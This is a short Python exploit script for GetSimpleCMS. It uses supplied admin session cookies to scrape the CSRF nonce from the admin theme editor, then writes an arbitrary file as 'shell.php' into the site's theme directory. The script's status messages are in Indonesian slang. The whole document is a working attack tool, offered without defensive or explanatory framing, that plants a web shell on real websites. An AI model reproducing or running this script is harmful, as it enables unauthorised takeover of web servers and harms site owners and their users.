GetSimpleCMS Upload Shell with Cookies

import sys
import requests
import re
url = sys.argv[1]
cookies = input("COOKIES : ")
file = input("file : ")
fileContent = open(file, 'rb')
headers = {
        'Content-Type':'application/x-www-form-urlencoded',
        'Cookie': cookies
}
try:
       r = requests.get("{}/admin/theme-edit.php".format(url), headers=headers)
       nce = re.search('nonce" type="hidden" value="(.*)"', r.text)
       nonce = nce.group(1)
       params = {
          'submitsave': 2,
          'edited_file': "shell.php",
          'content': fileContent,
          'nonce': nonce
       }
       r = requests.post("{}/admin/theme-edit.php".format(url), headers=headers, data=params)
       if 'CSRF detected!' not in r.text:
           print("dah keupload di {}/theme/{}".format(url, "shell.php"))
except Exception as e:
       print("error asu")